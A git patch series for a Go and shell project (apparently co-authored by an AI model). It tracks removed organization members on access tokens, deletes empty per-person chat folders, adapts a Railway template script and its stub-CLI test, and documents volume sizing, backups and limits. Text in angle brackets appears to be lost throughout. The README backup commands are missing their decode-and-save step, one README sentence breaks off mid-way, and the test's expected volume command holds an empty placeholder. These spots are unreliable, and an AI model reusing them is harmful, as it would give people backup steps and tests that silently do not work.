two.ID { + row = r + } + } + members := row.Members() + if len(members) != 2 || members[0].Removed.IsZero() || !members[1].Removed.IsZero() || row.Remaining() != 0 { + t.Fatalf("after ending ann: %+v, remaining %d", members, row.Remaining()) + } + if _, err := Join(path, two.ID, who("cat"), t0.Add(time.Hour)); !errors.Is(err, ErrUsedUp) { + t.Fatalf("the use ann gave up reopened the link: %v", err) + } + + // Ann signs in through the same link again: counted already, so nothing is spent, and she is back in. + if got, err := Join(path, two.ID, who("ann"), t0.Add(2*time.Hour)); err != nil || got.Consumed { + t.Fatalf("returning through the same link = %+v, %v", got, err) + } + rows, _ = Load(path) + for _, r := range rows { + if r.ID == two.ID { + for _, m := range r.Members() { + if !m.Removed.IsZero() { + t.Fatalf("%s is still marked removed after signing in again", m.Profile.Handle) + } + } + } + } +} diff --git a/internal/factory/tokens/tokens.go b/internal/factory/tokens/tokens.go index f405c5499d..3825c03a10 100644 --- a/internal/factory/tokens/tokens.go +++ b/internal/factory/tokens/tokens.go @@ -154,6 +154,31 @@ func Change(path, id string, change func(*Token) error) error { type Joiner struct { Profile Profile `json:"profile"` Joined time.Time `json:"joined"` + // Removed is when the operator removed this person from the organization. + // THE USE STAYS SPENT, so the link never reopens and the handle stays + // reserved, but the person no longer counts as a member. A person already + // counted who signs in through the same link again, as joinHuman has + // always let them, is back in and the mark is cleared. Zero for everyone + // who is still in. + Removed time.Time `json:"removed,omitzero"` +} + +// EndMember marks every use of this row that handle consumed as removed at +// now, and says whether anything changed. A row from before Joiners existed +// names its one person only through Profile, so that person is written down +// first, as joinHuman does before it adds the next. It serves a person who +// joined by an anonymous link, which carries no handle of its own to find. +func (t *Token) EndMember(handle string, now time.Time) bool { + members, ended := t.Members(), false + for i := range members { + if strings.EqualFold(members[i].Profile.Handle, handle) && members[i].Removed.IsZero() { + members[i].Removed, ended = now.UTC(), true + } + } + if ended { + t.Joiners = members + } + return ended } // MaxLinkPeople bounds an up-to-N human link. @@ -510,6 +535,8 @@ func joinHuman(row *Token, profile Profile, now time.Time) (Joined, error) { for k := range row.Joiners { if row.Joiners[k].Profile.Handle == profile.Handle { row.Joiners[k].Profile = profile + // Back in through the same link: removed no longer. + row.Joiners[k].Removed = time.Time{} } } return Joined{}, nil From 5c52c55b0be0a7feb0faec7cf5c614daedfb84da Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 13:57:20 -0500 Subject: [PATCH 171/176] sessionhost: deleting a person's last chat removes their empty folder Removing a person left an empty /chats/people/p_ folder on the volume. Deleting a chat now also tries to remove the person's folder, and rmdir only succeeds when nothing else is in it, so another chat of theirs stays put. Co-Authored-By: Claude Opus 5.5 --- internal/sessionhost/api.go | 27 +++++++++++- internal/sessionhost/lifecycle_test.go | 57 ++++++++++++++++++++++++++ 2 files changed, 83 insertions(+), 1 deletion(-) diff --git a/internal/sessionhost/api.go b/internal/sessionhost/api.go index cc5f2f1c6a..3026be83f5 100644 --- a/internal/sessionhost/api.go +++ b/internal/sessionhost/api.go @@ -13,10 +13,13 @@ import ( "net/http" "net/url" "os" + "path/filepath" "slices" "strings" "sync" "time" + + "golang.org/x/sys/unix" ) type refusal int @@ -413,5 +416,27 @@ func (s *supervisor) deleteSession(row sessionRow) bool { s.registry.sessions[row.ID] = row return false } - return s.removeLayout(row) == nil && s.registry.remove(row.ID, s.now().UTC()) == nil + if s.removeLayout(row) != nil || s.registry.remove(row.ID, s.now().UTC()) != nil { + return false + } + s.removeEmptyPersonFolder(row) + return true +} + +// removeEmptyPersonFolder takes away the folder that held a person's chats once the +// last of them is gone, so removing someone from the organization leaves no trace of +// their name on the volume (found on a production run: an empty p_ folder stayed +// behind). THE EMPTINESS TEST IS THE KERNEL'S: rmdir refuses a folder with anything in +// it, so a person's other chats, and anything this code does not know about, stay put. +// This runs under the supervisor's lock, as does every create, so a chat being made +// for the same person cannot find its parent folder gone halfway through. +func (s *supervisor) removeEmptyPersonFolder(row sessionRow) { + folders, err := layoutFor(s.cfg.Data, row.Person, row.ID) + if err != nil { + return + } + err = unix.Rmdir(filepath.Dir(folders.dir)) + if err != nil && !errors.Is(err, os.ErrNotExist) && !errors.Is(err, unix.ENOTEMPTY) && !errors.Is(err, unix.EEXIST) { + s.log.Warn("could not remove a person's empty chat folder", "error", err) + } } diff --git a/internal/sessionhost/lifecycle_test.go b/internal/sessionhost/lifecycle_test.go index eb6ca3c5aa..5747fa4580 100644 --- a/internal/sessionhost/lifecycle_test.go +++ b/internal/sessionhost/lifecycle_test.go @@ -118,3 +118,60 @@ func TestC7_StopClearsTemporaryFilesAndKeepsWork(t *testing.T) { t.Fatal("delete did not quarantine the process identity") } } + +// VALIDATION CONTRACT for what deleting a chat leaves of the person's folder (found on a production run, where +// removing a person left an empty p_ folder behind): +// - Deleting a person's last chat takes the folder that held their chats with it, so their name is not left on the volume. +// - Deleting one of two chats leaves the folder, and the other chat, untouched. +// - A folder with anything else in it is never removed, and the delete still succeeds. +// - Another person's folder is never touched, and a person whose folder went can start a new chat. +func TestDeletingAPersonsLastChatRemovesTheirEmptyFolder(t *testing.T) { + cfg := testConfig(t) + s, _, _ := testSupervisor(t, cfg, healthyReport()) + createChat(t, s, "alice", chatA) + createChat(t, s, "alice", chatB) + createChat(t, s, "bob", chatC) + alice, _ := layoutFor(cfg.Data, "alice", chatA) + bob, _ := layoutFor(cfg.Data, "bob", chatC) + aliceFolder, bobFolder := filepath.Dir(alice.dir), filepath.Dir(bob.dir) + + if w := request(s, "DELETE", "/v1/sessions/"+chatA, cfg.Secret, "alice", ""); w.Code != 204 { + t.Fatalf("delete the first chat: %d %s", w.Code, w.Body) + } + if _, err := os.Lstat(aliceFolder); err != nil { + t.Fatalf("deleting one of two chats took the person's folder: %v", err) + } + if _, err := os.Lstat(filepath.Join(aliceFolder, chatB)); err != nil { + t.Fatalf("deleting one of two chats took the other: %v", err) + } + if w := request(s, "DELETE", "/v1/sessions/"+chatB, cfg.Secret, "alice", ""); w.Code != 204 { + t.Fatalf("delete the last chat: %d %s", w.Code, w.Body) + } + if _, err := os.Lstat(aliceFolder); !os.IsNotExist(err) { + t.Errorf("deleting the person's last chat left their folder: %v", err) + } + if _, err := os.Lstat(bobFolder); err != nil { + t.Errorf("another person's folder was touched: %v", err) + } + createChat(t, s, "alice", chatA) + if _, err := os.Lstat(alice.dir); err != nil { + t.Errorf("a person whose folder went could not start a new chat: %v", err) + } +} + +func TestAPersonFolderWithSomethingElseInItIsNotRemoved(t *testing.T) { + cfg := testConfig(t) + s, _, _ := testSupervisor(t, cfg, healthyReport()) + createChat(t, s, "alice", chatA) + l, _ := layoutFor(cfg.Data, "alice", chatA) + stray := filepath.Join(filepath.Dir(l.dir), "not-a-chat") + if err := os.WriteFile(stray, []byte("kept"), 0o600); err != nil { + t.Fatal(err) + } + if w := request(s, "DELETE", "/v1/sessions/"+chatA, cfg.Secret, "alice", ""); w.Code != 204 { + t.Fatalf("delete beside a stray file: %d %s", w.Code, w.Body) + } + if data, err := os.ReadFile(stray); err != nil || string(data) != "kept" { + t.Errorf("the folder with a stray file in it was removed: %q, %v", data, err) + } +} From 2e15e2ca90a2828e1d72b43fe4c94b9517cde5aa Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 13:57:20 -0500 Subject: [PATCH 172/176] deploy/org: make-template.sh works with the current Railway CLI The production run found two calls that stopped the script on Railway CLI 5.71.0. `railway volume add --service ` is now `railway volume --service add`, with the ID read from the JSON `railway add` prints (a name panics the CLI); an older CLI whose `volume add` still lists --service gets the old form. The sessionhost limits edit had no --message, so a terminal run waited forever at "Apply changes now?". railway_scripts_test.sh now runs --apply against a stub CLI that records its arguments and refuses what the real one refuses, so the exact volume and edit calls are pinned, along with the older CLI and the fail-fast when no service ID comes back. Co-Authored-By: Claude Opus 5.5 --- deploy/org/railway/make-template.sh | 71 ++++++++++--- deploy/org/railway/railway_scripts_test.sh | 114 ++++++++++++++++++++- 2 files changed, 169 insertions(+), 16 deletions(-) diff --git a/deploy/org/railway/make-template.sh b/deploy/org/railway/make-template.sh index 2247725bbc..50d53af158 100755 --- a/deploy/org/railway/make-template.sh +++ b/deploy/org/railway/make-template.sh @@ -25,13 +25,16 @@ # (`codeaf sessionhost probe` in that service reports `uid+fence`). The person using the template still needs to supply # the model key input. # -# NOT YET RUN AGAINST RAILWAY: the images did not exist on Docker Hub when this was written. The calls are the Railway CLI's -# documented ones (`railway add --image`, `railway volume add`, `railway environment edit --service-config`, `railway -# templates create`); the first --apply is the first real test, and a service-by-service failure leaves a project you can -# delete (it is only the SOURCE of the draft; delete it once the draft exists). -# The deploy.limitOverride and deploy.healthcheckPath paths were read back from a live Railway project. Run --apply from -# a terminal. `railway environment edit --service-config ...` reads its patch from the command line only when stdin is a -# terminal. With non-terminal stdin, such as in CI or an agent, it reads a JSON patch from stdin and ignores those flags. +# RUN AGAINST RAILWAY: --apply ran end to end on 2026-11-25 against Railway CLI 5.71.0, and two calls had to change for +# the current CLI: `railway volume` takes the service as `railway volume --service add ...` (the ID, from the +# JSON `railway add` printed, never the name; `volume add --service` is an error and a name panics the CLI), and every +# `railway environment edit` needs `--message` (without it a terminal run stops at "Apply changes now? (Y/n)" and waits). +# railway_scripts_test.sh pins both calls against a stub CLI that records its arguments. Run --apply from a terminal: +# `railway environment edit --service-config ...` reads its patch from the command line only when stdin is a terminal. With +# non-terminal stdin, such as in CI or an agent, it reads a JSON patch from stdin and ignores those flags. +# Two things the CLI cannot do: it has no volume SIZE option (every volume comes out at Railway's default, 50 GB; resize each +# one in the dashboard, see README.md "On Railway"), and `railway templates create` makes a draft the owner still has to +# finish by hand. # shellcheck disable=SC2016 # the ${{...}} in single quotes are Railway expressions, not shell expansions set -euo pipefail @@ -71,7 +74,37 @@ rail() { local arg for arg in "$@"; do printf ' '; quote "$arg"; done printf '\n' - if [ "$APPLY" = 1 ]; then railway "$@"; fi + if [ "$APPLY" = 1 ]; then + if [ "$capture" = 1 ]; then + # Keep the JSON Railway prints on stdout (its prompts and progress stay on the terminal) to read an ID from it. + railway_out=$(railway "$@") + printf '%s\n' "$railway_out" + else + railway "$@" + fi + fi +} +capture=0 +railway_out="" + +# service_id is the ID Railway gave the service added last. `railway volume` needs the ID, not the name. +service_id="" + +# volume_add NAME MOUNT: a volume on the service added last. The current CLI wants the service ID before `add` +# (`railway volume --service add`); an older one took `railway volume add --service `, and is used when its help +# still lists that option. A dry run always prints the current form, so the plan does not depend on which CLI is installed. +volume_style="" +volume_add() { + local name="$1" mount="$2" help + if [ "$APPLY" = 1 ] && [ -z "$volume_style" ]; then + help=$(railway volume add --help 2>&1 || true) + case "$help" in *--service*) volume_style=old ;; *) volume_style=current ;; esac + fi + if [ "$volume_style" = old ]; then + rail volume add --service "$name" --mount-path "$mount" --json + else + rail volume --service "${service_id:-<$name service id>}" add --mount-path "$mount" --json + fi } # check_var NAME VALUE: refuses anything that would put a real value, or a smoke-test switch, in the template. @@ -97,7 +130,15 @@ service() { check_var "${pair%%=*}" "${pair#*=}" args+=(--variables "$pair") done + capture=1 rail add --service "$name" --image "$image" "${args[@]}" --json + capture=0 + if [ "$APPLY" = 1 ]; then + service_id=$(printf '%s\n' "$railway_out" | sed -n 's/.*"id" *: *"\([^"]*\)".*/\1/p' | head -n 1) + [ -n "$service_id" ] || { echo "could not read the ID of service $name from the output of 'railway add --json'" >&2; exit 4; } + else + service_id="" + fi } if [ "$APPLY" = 1 ]; then @@ -128,7 +169,7 @@ service agentfield "$AGENTFIELD_IMAGE" \ AGENTFIELD_STORAGE_LOCAL_KV_STORE_PATH=/data/agentfield.bolt \ AGENTFIELD_RUN_OWNER_REQUIRE_PROOF=true \ AGENTFIELD_TELEMETRY_ENABLED=false -rail volume add --service agentfield --mount-path /data --json +volume_add agentfield /data rail environment edit --service-config agentfield deploy.healthcheckPath /api/v1/health --message "agentfield health check" # --- codeaf: the organization server, the one service with a public domain. Holds the template's two inputs. -------------------------- @@ -145,7 +186,7 @@ service codeaf "$CODEAF_IMAGE" \ 'CODEAF_HOSTED_MODEL_KEY=${{OPENROUTER_API_KEY}}' \ OPENROUTER_API_KEY= \ GH_TOKEN= -rail volume add --service codeaf --mount-path /data --json +volume_add codeaf /data rail environment edit --service-config codeaf deploy.healthcheckPath /v1/about --message "codeaf health check" rail domain --service codeaf --port 8787 --json @@ -157,9 +198,9 @@ service sessionhost "$CODEAF_IMAGE" \ "CODEAF_SESSIONHOST_MODEL=$MODEL" \ CODEAF_SESSIONHOST_MAX_RUNNING=4 \ CODEAF_SESSIONHOST_MAX_PER_PERSON=2 -rail volume add --service sessionhost --mount-path /chats --json +volume_add sessionhost /chats rail environment edit --service-config sessionhost deploy.limitOverride.containers.cpu 1 \ - --service-config sessionhost deploy.limitOverride.containers.memoryBytes 1000000000 + --service-config sessionhost deploy.limitOverride.containers.memoryBytes 1000000000 --message "sessionhost limits" # Railway can resolve this reference once the sessionhost service exists. hosted_url='http://${{sessionhost.RAILWAY_PRIVATE_DOMAIN}}:8790' @@ -174,7 +215,7 @@ service runner "$CODEAF_IMAGE" \ "ORG_MODEL=$MODEL" \ 'OPENROUTER_API_KEY=${{codeaf.OPENROUTER_API_KEY}}' \ 'GH_TOKEN=${{codeaf.GH_TOKEN}}' -rail volume add --service runner --mount-path /data --json +volume_add runner /data # --- the reasoner nodes ---------------------------------------------------------------------------------------------------------------------- service swe-af "$SWE_AF_IMAGE" \ @@ -187,7 +228,7 @@ service swe-af "$SWE_AF_IMAGE" \ SWE_DEFAULT_MODEL=openrouter/deepseek/deepseek-v4-flash-0731 \ 'OPENROUTER_API_KEY=${{codeaf.OPENROUTER_API_KEY}}' \ 'GH_TOKEN=${{codeaf.GH_TOKEN}}' -rail volume add --service swe-af --mount-path /workspaces --json +volume_add swe-af /workspaces service pr-af "$PR_AF_IMAGE" \ NODE_ID=pr-af \ @@ -198,7 +239,7 @@ service pr-af "$PR_AF_IMAGE" \ PR_AF_MODEL=deepseek/deepseek-v4-flash-0731 \ 'OPENROUTER_API_KEY=${{codeaf.OPENROUTER_API_KEY}}' \ 'GH_TOKEN=${{codeaf.GH_TOKEN}}' -rail volume add --service pr-af --mount-path /workspaces --json +volume_add pr-af /workspaces # --- the draft. `templates create` clones the project into an UNPUBLISHED template; there is no publish call here. ----------------- rail templates create --json diff --git a/deploy/org/railway/railway_scripts_test.sh b/deploy/org/railway/railway_scripts_test.sh index c9727d69c4..ce07b9c3ab 100755 --- a/deploy/org/railway/railway_scripts_test.sh +++ b/deploy/org/railway/railway_scripts_test.sh @@ -57,7 +57,7 @@ sessionhost_variables() { } row 'make-template 2: sessionhost gets its role, data, shared secret, model and limits' sessionhost_variables row 'make-template 2: sessionhost mounts /chats' \ - grep -qE '^\+ railway volume add --service sessionhost --mount-path /chats( |$)' "$plan" + grep -qxF "+ railway volume --service '' add --mount-path /chats --json" "$plan" private_sessionhost() { [ -n "$sessionhost" ] && ! grep -Eq '^\+ railway domain .*--service sessionhost( |$)' "$plan" } @@ -85,6 +85,118 @@ template_excludes_smoke_switches() { } row 'make-template 5: no smoke-only switches enter the plan' template_excludes_smoke_switches +# --apply against a stub of the Railway CLI (5.7x) that records every call's arguments, one line per call with each argument +# in brackets, and refuses what that CLI refuses: `volume add --service` is an unknown option, `volume --service ` panics +# (only an ID works), and `environment edit` without --message stops at "Apply changes now? (Y/n)", where a terminal run waits +# forever. FAKE_RAILWAY_STYLE=old makes `volume add` take --service itself, as an older CLI did; FAKE_RAILWAY_NO_ID=1 makes +# `add` print no ID. +mkdir "$work/apply-bin" +cat >"$work/apply-bin/railway" <<'STUB' +#!/usr/bin/env bash +set -u +line="" +for a in "$@"; do line+="[$a]"; done +printf '%s\n' "$line" >>"$FAKE_RAILWAY_LOG" +case "${1:-}" in + whoami) exit 0 ;; + init) echo '{"id":"project-id","name":"stub"}' ;; + add) + name="" prev="" + for a in "$@"; do [ "$prev" = --service ] && name=$a; prev=$a; done + echo '> What do you need? Docker Image' >&2 + if [ "${FAKE_RAILWAY_NO_ID:-}" = 1 ]; then echo '{}'; else printf '{"id":"id-%s","name":"%s"}\n' "$name" "$name"; fi ;; + volume) + shift + parent="" + if [ "${1:-}" = --service ]; then parent=${2:-}; shift 2; fi + [ "${1:-}" = add ] || exit 64 + shift + for a in "$@"; do + if [ "$a" = --help ]; then + if [ "${FAKE_RAILWAY_STYLE:-current}" = old ]; then echo ' -s, --service Service'; fi + echo ' -m, --mount-path The mount path of the volume' + exit 0 + fi + done + if [ "${FAKE_RAILWAY_STYLE:-current}" != old ]; then + for a in "$@"; do + [ "$a" = --service ] && { echo "error: unexpected argument '--service' found" >&2; exit 2; } + done + case "$parent" in id-*) ;; *) echo "thread 'main' panicked: called Option::unwrap() on a None value" >&2; exit 101 ;; esac + fi + echo '{"id":"volume"}' ;; + environment) + shift + [ "${1:-}" = edit ] || exit 64 + shift + seen=0 + for a in "$@"; do if [ "$a" = --message ] || [ "$a" = -m ]; then seen=1; fi; done + [ "$seen" = 1 ] || { echo '? Apply changes now? (Y/n)' >&2; exit 99; } ;; + domain) echo '{"domain":"https://stub.example"}' ;; + *) echo '{}' ;; +esac +STUB +cat >"$work/apply-bin/docker" <<'STUB' +#!/bin/sh +exit 0 +STUB +chmod +x "$work/apply-bin/railway" "$work/apply-bin/docker" +mkdir "$work/tmp" + +apply_with() { + FAKE_RAILWAY_LOG=$work/calls + : >"$FAKE_RAILWAY_LOG" + status=0 + env "$@" FAKE_RAILWAY_LOG="$FAKE_RAILWAY_LOG" TMPDIR="$work/tmp" RAILWAY_WORKSPACE=stub-workspace \ + PATH="$work/apply-bin:$PATH" "$template" --apply >"$work/apply-out" 2>"$work/apply-err" || status=$? +} +apply_ok() { apply_with FAKE_RAILWAY_STYLE=current; [ "$status" = 0 ] && ! grep -q "ID of service" "$work/apply-err"; } +row 'make-template 6: --apply runs to the end against the current CLI' apply_ok + +volumes_by_id() { + apply_ok || return 1 + local want + for want in agentfield:/data codeaf:/data sessionhost:/chats runner:/data swe-af:/workspaces pr-af:/workspaces; do + local name=${want%%:*} mount=${want#*:} add vol + add=$(grep -nF "[add][--service][$name][--image]" "$FAKE_RAILWAY_LOG" | head -n 1 | cut -d: -f1) && + vol=$(grep -nxF "[volume][--service][id-$name][add][--mount-path][$mount][--json]" "$FAKE_RAILWAY_LOG" | head -n 1 | cut -d: -f1) && + [ "$add" -lt "$vol" ] || return 1 + done + [ "$(grep '^\[volume\]' "$FAKE_RAILWAY_LOG" | grep -vc '\[--help\]')" = 6 ] +} +row 'make-template 6: each volume is added with its service ID, after the service exists, and never as volume add --service' volumes_by_id + +limits_have_a_message() { + apply_ok && + grep -qxF '[environment][edit][--service-config][sessionhost][deploy.limitOverride.containers.cpu][1][--service-config][sessionhost][deploy.limitOverride.containers.memoryBytes][1000000000][--message][sessionhost limits]' "$FAKE_RAILWAY_LOG" +} +row 'make-template 6: the sessionhost limits edit carries --message, so a terminal run does not wait for a key' limits_have_a_message + +every_edit_has_a_message() { + apply_ok || return 1 + local edits messages + edits=$(grep -c '^\[environment\]\[edit\]' "$FAKE_RAILWAY_LOG") + messages=$(grep '^\[environment\]\[edit\]' "$FAKE_RAILWAY_LOG" | grep -c '\[--message\]') + [ "$edits" = 3 ] && [ "$messages" = 3 ] +} +row 'make-template 6: all three environment edits carry --message' every_edit_has_a_message + +older_cli_keeps_working() { + apply_with FAKE_RAILWAY_STYLE=old + [ "$status" = 0 ] && + [ "$(grep -c '^\[volume\]\[add\]\[--service\]' "$FAKE_RAILWAY_LOG")" = 6 ] && + grep -qxF '[volume][add][--service][sessionhost][--mount-path][/chats][--json]' "$FAKE_RAILWAY_LOG" && + ! grep -q '^\[volume\]\[--service\]' "$FAKE_RAILWAY_LOG" +} +row 'make-template 6: an older CLI whose volume add takes --service still gets that form' older_cli_keeps_working + +stops_without_an_id() { + apply_with FAKE_RAILWAY_NO_ID=1 + [ "$status" = 4 ] && grep -qF 'could not read the ID of service agentfield' "$work/apply-err" && + ! grep -q '^\[volume\]' "$FAKE_RAILWAY_LOG" +} +row 'make-template 6: an add that prints no service ID stops the script before any volume' stops_without_an_id + mkdir "$work/bin" cat >"$work/bin/railway" <<'FAKE' #!/bin/sh From 880a6a3eecd814a4f38ed645eea26eb102392721 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 14:01:42 -0500 Subject: [PATCH 173/176] deploy/org, docs: Railway volume size, the template draft, a backup recipe, two known limits From the production run-through of the hosted organization: - Railway volumes come out at 50 GB and the CLI has no size option; the README says so and gives the resize step (what was done, and what was not tried). - `railway templates create` makes a draft; the README says what to do with it, and the script's closing note says the volumes need resizing. - A backup recipe for Railway (`railway ssh` plus tar), with what the run checked on the restored scratch copy and what it did not do. - Known limits: the chat sandbox has python3, git and curl but no pip, pytest, go, node, make or gcc; and SWE-AF, PR-AF and the runner call the model provider directly, so their spend is not in the spend table or any limit. - The README and docs/organizations.md now say removal also drops a person from People and ends every share they hold. Co-Authored-By: Claude Opus 5.5 --- deploy/org/README.md | 92 +++++++++++++++++++++++++++-- deploy/org/railway/make-template.sh | 3 + docs/organizations.md | 17 +++++- 3 files changed, 104 insertions(+), 8 deletions(-) diff --git a/deploy/org/README.md b/deploy/org/README.md index a89ee0335f..6ece69c938 100644 --- a/deploy/org/README.md +++ b/deploy/org/README.md @@ -298,6 +298,10 @@ because it has to become a different Linux user for every chat. It is built from until the machine confirms every delete. The log says so when it starts waiting (again after the 10th, 100th ... failed try) and once when it finishes. It deletes only the chats the person had when they were removed, so a chat made later by someone who joined again under the same handle is left alone. The operator does not repeat the removal. + The person also leaves People, whichever way they joined (a named invitation or an anonymous access link), and every share + others gave them on chats or workstreams is deleted, so none comes back if they join again. The link they came in by does + not reopen for someone else. Once their last chat is deleted the machine removes the person's own folder under `/chats/people` + if nothing else is in it. - **Limits.** `CODEAF_SESSIONHOST_MAX_RUNNING` chats at once (default 20) and `CODEAF_SESSIONHOST_MAX_PER_PERSON` per person (default 3). A chat counts while it has a process; a person at their limit can still make a chat but cannot start another and reads "You already have N chats running; stop one first." @@ -550,6 +554,43 @@ docker compose up -d codeaf sessionhost The people, their sign-ins, the invitations and the chats come back as they were. +**On Railway** the volumes are Railway's, so the `docker run` lines above do not apply. This is the recipe that was run, once, on an +idle organization: the two volumes that matter, `codeaf`'s `/data` and `sessionhost`'s `/chats`, were archived over `railway ssh`, and the +copy was restored into a scratch folder on a laptop. Nothing was ever restored over the live install. The archives hold password +hashes and sign-in sessions, so they are as private as `.env`: `umask 077` makes the files readable by you alone, and any folder you +unpack them into should be mode 700. + +```sh +umask 077 +railway ssh -s codeaf -- 'tar czf - -C /data . | base64 -w0' codeaf-data.tgz +railway ssh -s sessionhost -- 'tar czf - -C /chats . | base64 -w0' sessions-data.tgz +``` + +The `base64` keeps the archive intact through the ssh stream, and `/codeaf/factory/config.yaml --listen 127.0.0.1:18787`, stopped again afterwards). The restored server signed in the operator and +a person by password, refused a person who had been removed, showed the same people, bots, shares and policy revision as the live one, +had the same spend total, and its SQLite store passed `integrity_check`. Of the 579 files in the `sessionhost` archive, 576 had the +same sha256 as the live ones; the other three are mode-000 placeholders that the non-root checker could not read, and they are in the +archive. + +What was not done, so it is not claimed: + +- **The services were not stopped first.** `railway ssh` needs a running container, so the Compose recipe's "stop the writers" + step has no equivalent here. The copy was taken while nobody was working, with the SQLite and WAL files live. A copy taken while + people are working may not be consistent. +- **A restore onto a Railway volume.** Only the scratch restore above was run; how to put an archive back into a service's volume is + unproven. +- **Railway's own volume backups** were not used. +- Hosted chats were not served from the restored copy (the scratch server had no hosting settings), so only the files of + `sessionhost`'s archive were compared, not running chats. + Everything outside this checkout is pinned: the codeaf release that `CODEAF_BINARY_FROM=fetch` downloads (`CODEAF_RELEASE` and its two sha256 values at the top of `codeaf.Dockerfile`), the SWE-AF and PR-AF commits (`SWEAF_REF`, `PRAF_REF`) and the AgentField image (`AGENTFIELD_IMAGE`, tag and digest together in `agentfield.Dockerfile`). The default build does not download a codeaf at all: @@ -658,8 +699,8 @@ The same Dockerfiles run on Railway as one project: six services (seven with the the model stub, private networking between them, and a public domain on `codeaf` only. Nothing needs Compose there; each service builds from this repository's source, on Railway's builders. The table below is the configuration by hand. It was followed from an empty project, with the keyless stub, and every service came up: see "Check it" below. (A Railway template needs images, not a -repository: `railway/make-template.sh` makes a draft one from the published images above, sessionhost included, and is a dry run -until those images exist.) +repository: `railway/make-template.sh` makes a draft one from the published images above, sessionhost included; see "The template +script, and the draft it makes" below for what it does and what is left for you.) **What you need:** a Railway account and the workspace that should own the project, and the Railway CLI (`railway`, version 5.x, signed in with `railway login`). The dashboard can do every step of the table, but "Check it" and the operator link below use the CLI. @@ -705,10 +746,17 @@ For real work, also set `GH_TOKEN=...` on `runner`, `swe-af` and `pr-af` (it let requests, as in "What you need"; the keyless test needs none). People's own GitHub access for hosted chats is not a variable: each person stores theirs on the server (see "Keys, spend and git"). -Volumes: Railway's default size is large (50 GB on the plan this was tried on), the dashboard and the CLI's `railway volume add` take the -default unless you size it, and **a volume can grow but never shrink**. Size it when you create it: 1 GB is plenty for `codeaf`, `agentfield` -and `sessionhost`, 512 MB for `runner` and `pr-af`. Reference variables (`${{agentfield.RAILWAY_PRIVATE_DOMAIN}}`) are Railway's way of -naming another service; keep them as written. +Volumes: **Railway makes every volume 50 GB unless it is sized, and the CLI cannot size one.** `railway volume add` takes a mount +path and nothing else, and `railway volume update` takes only a mount path and a name, so six volumes made with the CLI (which is +what `make-template.sh` does) are 300 GB of billed storage. **A volume can grow but never shrink**, so start small: 1 GB is plenty for +`codeaf`, `agentfield`, `sessionhost` and `swe-af`, 512 MB for `runner` and `pr-af` (the sizes the production run used). + +The resize step, for a volume that is still empty: delete it (`railway volume delete --volume --yes`) and make it again +with a size through Railway's API, which takes `sizeMB`. The production run did exactly that, with Railway's MCP server +(`create-volume` with `sizeMB`), for all six volumes before anything was written to them. A volume that already holds data can only +grow: Railway's volumes documentation describes a live resize from the volume's settings in the dashboard (growth only, no downtime +unless the volume is full). That dashboard resize was not tried here. Reference variables (`${{agentfield.RAILWAY_PRIVATE_DOMAIN}}`) +are Railway's way of naming another service; keep them as written. What a first install needs that the table does not show: @@ -785,6 +833,26 @@ curl -s "https:///v1/about" The first three answer for the whole stack's wiring: AgentField refuses an anonymous call, the sessionhost can keep chats apart on this kernel, and the public name serves over HTTPS. None of them makes a model call or a chat; those start once the organization is claimed. +### The template script, and the draft it makes + +`railway/make-template.sh` builds the same six services from the published images (it checks that they exist first) and turns the +project into a Railway template draft. With no argument it is a dry run that prints every Railway call; `--apply`, with +`RAILWAY_WORKSPACE` set to the workspace's id or name, makes them. Run `--apply` from a terminal: with no terminal on stdin the +Railway CLI reads a JSON patch from stdin and ignores the flags the script passes. `--apply` ran end to end on 2026-11-25 against +Railway CLI 5.71.0, except for its last call, `railway templates create`, which that run skipped on purpose. `railway/railway_scripts_test.sh` +runs it against a stub CLI that records its arguments, so the volume and environment calls are pinned. + +What it leaves for you: + +- **Every volume is 50 GB.** The CLI has no size option; see "Volumes" above for the resize step, and do it before first use. +- **`railway templates create` makes a DRAFT, not a published template.** Railway describes it as cloning the project into an + unpublished template that opens in the dashboard's template editor for cleanup before publishing. The script has no publish + call and never will. After it runs: open the draft in your workspace's template editor, mark `OPENROUTER_API_KEY` and `GH_TOKEN` + on the `codeaf` service as inputs people fill in, check the services and variables against the table above, and press Publish + only if you mean to put it in Railway's marketplace; otherwise leave it a draft. The project the script made only fed the draft, + so delete it once the draft exists (the script's closing note says the same). The production run skipped this call, so the + draft's contents were not looked at. + ## Known limits - The runner is a small Python host of the codeaf engine (`scripts/runner.py`), because `codeaf factory serve` @@ -800,6 +868,18 @@ kernel, and the public name serves over HTTPS. None of them makes a model call o no variable here, such as `loopback_trust` (always off for this team server; see "Claim the organization"), cannot be changed in this stack, and a hand edit of the file is replaced. - One replica of each service; no high availability. +- **A hosted chat's sandbox has a small toolbox.** The chats' machine is the `codeaf` image's runtime, which carries `python3` + (3.11 in the production run), `git`, `curl` and `openssh-client` and nothing else a project is likely to need: no `pip`, no + `pytest`, no `go`, no `node`, no `make`, no `gcc`, and a chat's Linux user is not root, so it cannot install them. A chat can work on + a project that needs only the standard library; the production run's first test project needed one third-party Python + package and its tests could not run at all. There is no setting for this. The tools come from the `apt-get install` line in the + runtime stage of `codeaf.Dockerfile`, and a different set means building your own image from it, which was not tried. +- **The factory services' model calls are not counted.** SWE-AF, PR-AF and the runner call OpenRouter directly with their own copy + of the key (`OPENROUTER_API_KEY` on each service), not through the organization's model door. Their spend is not in the + spend table, in anyone's My space or in a chat's or a person's limit, and the limits above do not stop them. In the production run + one SWE-AF job's own view said it cost `0.00027` while OpenRouter billed about $0.56 for it. To bound that spend, set a credit + limit on the key at OpenRouter (the run's key had one of $50), and give these services a key of their own if you want their + bill apart from the chats'. - **The network fence filters TCP by port.** A chat's commands may connect only to ports 443, 80, 22 and 9418 by default (`CODEAF_SESSIONHOST_CONNECT_PORTS`) and the ports used for the organization server's own address. Landlock has no rule for a destination address. Ports 80 and 443 can reach any host accessible from the chats' machine, including the internet, diff --git a/deploy/org/railway/make-template.sh b/deploy/org/railway/make-template.sh index 50d53af158..4651e744b2 100755 --- a/deploy/org/railway/make-template.sh +++ b/deploy/org/railway/make-template.sh @@ -250,6 +250,9 @@ if [ "$APPLY" = 1 ]; then The draft template is in your workspace, unpublished. Open it in the dashboard's template editor and mark OPENROUTER_API_KEY and GH_TOKEN (on the codeaf service) as inputs people fill in. The source project "$PROJECT" only fed the draft: delete it. Never press Publish unless you mean to put this in the marketplace. + +Every volume came out at Railway's default size, 50 GB, because the CLI has no 